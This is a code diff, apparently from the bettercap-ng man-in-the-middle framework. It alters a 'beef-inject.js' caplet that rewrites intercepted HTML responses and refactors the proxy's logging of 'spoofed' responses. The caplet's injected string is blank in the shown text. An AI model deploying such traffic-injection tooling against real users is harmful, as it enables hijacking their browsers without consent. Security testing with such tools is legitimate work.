diff --git a/caplets/beef-inject.js b/caplets/beef-inject.js
index 43f393fd..5099b888 100644
--- a/caplets/beef-inject.js
+++ b/caplets/beef-inject.js
@@ -3,7 +3,14 @@ function onLoad() {
}
function onResponse(req, res) {
- if( res.ContentType.indexOf("text/html") == 0 ){
- res.Body = res.ReadBody().replace( "", '' );
+ if( res.ContentType.indexOf('text/html') == 0 ){
+ var body = res.ReadBody();
+ if( body.indexOf('') != -1 ) {
+ res.Body = body.replace(
+ '',
+ ''
+ );
+ res.Updated();
+ }
}
}
diff --git a/session/modules/http_proxy.go b/session/modules/http_proxy.go
index 9c4eccf0..0ed65364 100644
--- a/session/modules/http_proxy.go
+++ b/session/modules/http_proxy.go
@@ -9,6 +9,7 @@ import (
"github.com/elazarl/goproxy"
+ "github.com/evilsocket/bettercap-ng/core"
"github.com/evilsocket/bettercap-ng/firewall"
"github.com/evilsocket/bettercap-ng/session"
)
@@ -25,6 +26,16 @@ type HttpProxy struct {
script *ProxyScript
}
+func (p HttpProxy) logAction(req *http.Request, jsres *JSResponse) {
+ fmt.Printf("[%s] %s > '%s %s%s' | Sending %d bytes of spoofed response.\n",
+ core.Green("http.proxy"),
+ core.Bold(strings.Split(req.RemoteAddr, ":")[0]),
+ req.Method,
+ req.Host,
+ req.URL.Path,
+ len(jsres.Body))
+}
+
func NewHttpProxy(s *session.Session) *HttpProxy {
p := &HttpProxy{
SessionModule: session.NewSessionModule(s),
@@ -51,7 +62,6 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
}))
proxy := goproxy.NewProxyHttpServer()
-
proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
if p.doProxy(req) == true {
req.URL.Scheme = "http"
@@ -65,9 +75,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
if p.script != nil {
jsres := p.script.OnRequest(req)
if jsres != nil {
- log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), req.RemoteAddr)
- resp := jsres.ToResponse(req)
- return req, resp
+ p.logAction(req, jsres)
+ return req, jsres.ToResponse(req)
}
}
return req, nil
@@ -77,8 +86,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
if p.script != nil {
jsres := p.script.OnResponse(res)
if jsres != nil {
- log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), res.Request.RemoteAddr)
- res = jsres.ToResponse(res.Request)
+ p.logAction(res.Request, jsres)
+ return jsres.ToResponse(res.Request)
}
}
return res
diff --git a/session/modules/proxy_script.go b/session/modules/proxy_script.go
index e8e95704..9da9ce75 100644
--- a/session/modules/proxy_script.go
+++ b/session/modules/proxy_script.go
@@ -76,7 +76,6 @@ func (j *JSResponse) ReadBody() string {
}
j.Body = string(raw)
- j.Updated()
return j.Body
}
@@ -153,7 +152,7 @@ func (s ProxyScript) resToJS(res *http.Response) *JSResponse {
}
}
-func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse) {
+func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) {
jsreq := s.reqToJS(req)
if err = s.VM.Set("req", jsreq); err != nil {
log.Errorf("Error while defining request: %s", err)
@@ -169,7 +168,7 @@ func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse
return
}
-func (s *ProxyScript) doDefinesFor(res *http.Response) (err error, jsres *JSResponse) {
+func (s *ProxyScript) doResponseDefines(res *http.Response) (err error, jsres *JSResponse) {
jsreq := s.reqToJS(res.Request)
if err = s.VM.Set("req", jsreq); err != nil {
log.Errorf("Error while defining request: %s", err)
@@ -191,7 +190,7 @@ func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
s.gil.Lock()
defer s.gil.Unlock()
- err, jsres := s.doDefines(req)
+ err, jsres := s.doRequestDefines(req)
if err != nil {
log.Errorf("Error while running bootstrap definitions: %s", err)
return nil
@@ -217,7 +216,7 @@ func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
s.gil.Lock()
defer s.gil.Unlock()
- err, jsres := s.doDefinesFor(res)
+ err, jsres := s.doResponseDefines(res)
if err != nil {
log.Errorf("Error while running bootstrap definitions: %s", err)
return nil